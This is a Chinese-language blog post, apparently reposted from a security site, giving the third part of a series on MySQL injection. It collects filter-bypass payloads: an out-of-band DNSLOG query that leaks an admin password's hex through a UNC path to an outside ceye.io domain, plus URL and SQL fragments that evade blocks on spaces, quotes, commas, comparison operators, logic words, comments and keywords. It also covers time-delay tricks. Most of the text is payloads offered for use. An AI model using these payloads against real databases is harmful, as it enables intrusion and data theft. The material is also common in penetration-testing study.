浅谈SQL database的各种技巧(三)

admin 2023年3月12日20:39:07浅谈SQL database的各种技巧(三)已关闭评论4 views字数 3428阅读11分25秒阅读模式

前言

前面两篇主要是对Mysql的攻击手法进行了总结,这里主要是针对如果存在一些过滤,一些常见且常用的Bypass限制的手法姿势

Mysql

Bypass

无回显限制
DNSLOG数据外带

存在一个 load_file可以读取本地文件

http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)
FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。|
补充:UNC路径(UNC路径就是类似\softer这样的形式的网络路径;它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称)UNC路径是concat函数内的字符串,代表去访问一个域名下的abc文件夹,此处查询的域名属于dnslog的子域名,在访问的过程中,解析记录会被保存;又因为load_file()函数访问的是文件,所以域名后面需要添加/abc

其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

sss.xxx\test\

这也就解释了为什么CONCAT()函数拼接了4个 \了,因为转义的原因,4个就变 \成了2个 \,目的就是利用UNC路径

过滤substr ascii
  1. 可以使用 substring()函数分割
  2. 使用 mid函数分割
  3. 使用left``right 函数分割
  4. 使用 like匹配

/?id=' or database() like '________' --+

/?id=' or database() like 's%' --+也可用/?id=' or database() like 's_______' --+
5. regexp注入
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配

select (select语句) regexp '正则表达式'
(1)正则注入匹配select查询结果,若匹配到结果则返回1,未匹配到则返回0
(2)regexp关键字还可以代替where条件里的等号(=)
当过滤了=、in、like等关键字时,我们可以用regexp来进行绕过:
PS:^若被过滤,我们还可以使用$来从后往前进行匹配
select * from users where id=1 union select 1,database() regexp '^s',3;

6. 使用hex() bin()等函数
7. 使用lpad()和rpad()绕过

```
select lpad((select database()),1,1) // s
select lpad((select database()),2,1) // se
select lpad((select database()),3,1) // sec
select lpad((select database()),4,1) // secu
select lpad((select database()),5,1) // secur
select lpad((select database()),6,1) // securi
select lpad((select database()),7,1) // securit
select lpad((select database()),8,1) // security

select rpad((select database()),1,1) // s
select rpad((select database()),2,1) // se
select rpad((select database()),3,1) // sec
select rpad((select database()),4,1) // secu
select rpad((select database()),5,1) // secur
select rpad((select database()),6,1) // securi
select rpad((select database()),7,1) // securit
select rpad((select database()),8,1) // security
```

过滤= \< >等比较符
  1. 可以使用 between..and..绕过 substr(user(),1,1) between 'a' and 'z'
  2. 使用 like进行模糊匹配,或者 rlike 或者 regexp正则
  3. 使用 greatest``least进行绕过,前者返回最大值,后者返回最小值
    ascii(substr(database(),0,1))>64 ==> greatest(ascii(substr(database(),0,1)),64)=64
  4. 使用in()绕过
    /?id=' or ascii(substr((select database()),1,1)) in(114)--+ // 错误
    /?id=' or ascii(substr((select database()),1,1)) in(115)--+ // 正常回显
    /?id=' or substr((select database()),1,1) in('s')--+ // 正常回显
过滤空格
  1. %20 %09 %0a %0b %0c %0d %00, 更多的可以进行Fuzzing 或者是 \${IFS}
  2. 内敛注释/**/``/!xx/
  3. 使用括号避免使用空格
过滤引号
  1. 如果查数据的时候,where中的表名可以使用十六进制替代,避免使用引号
  2. 使用反斜杠 \ 逃逸 Sql 语句
    select username, password from users where username='$username' and password='$password';
    假设输入的用户名是 admin\,密码输入的是 or 1# 整个SQL语句变成了
    select username,password from users where username='admin\' and password=' or 1# '
    由于单引号被转义,and password= 这部分都成了username的一部分,即
    username='admin\' and password='
过滤逗号
  1. 使用from for语句substr(database()from 1 for 1)
  2. 使用join语句select 1,2 ==> select * from (select 1)a join (select 2)a
  3. 使用 offset语句 limit 0,1 ==> limit 1 offset 0
过滤逻辑词 or and not xor等等
  1. 使用&&``||``!``|
  2. 是可以使用 ^
过滤注释符
  1. 采用闭合后面引号的方式select 1,2,3||'1

浅谈SQL database的各种技巧(三)

过滤关键词
  1. 使用注释绕过union ==> u//nion``/**/
  2. 内联注释也可以union select ==> /*!union12345*/ select
  3. 常规的大小写绕过,双写绕过, 编码绕过
过滤 sleep``where``group_concat``if``order by等特定关键词
  1. sleep ==> 使用 benchmark(10000000,sha(1))
    或者是特殊的语句构造也会造成延时特征
    SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
    select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

    浅谈SQL database的各种技巧(三)

  2. where ==> 使用having子句
  3. group_concat ==> 使用concat_ws
  4. if ==> 这里就可以使用case when语句进行绕过了,case when 1 then 1=1 else 1=2
    可以使用 i\<a>f绕过
  5. order by ==> 可以使用 into进行替代
    id=1' and into @a,@b,@c

    浅谈SQL database的各种技巧(三)

  6. updateaxml ==> polygon()绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:39:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈SQL database的各种技巧(三)https://cn-sec.com/archives/1599486.html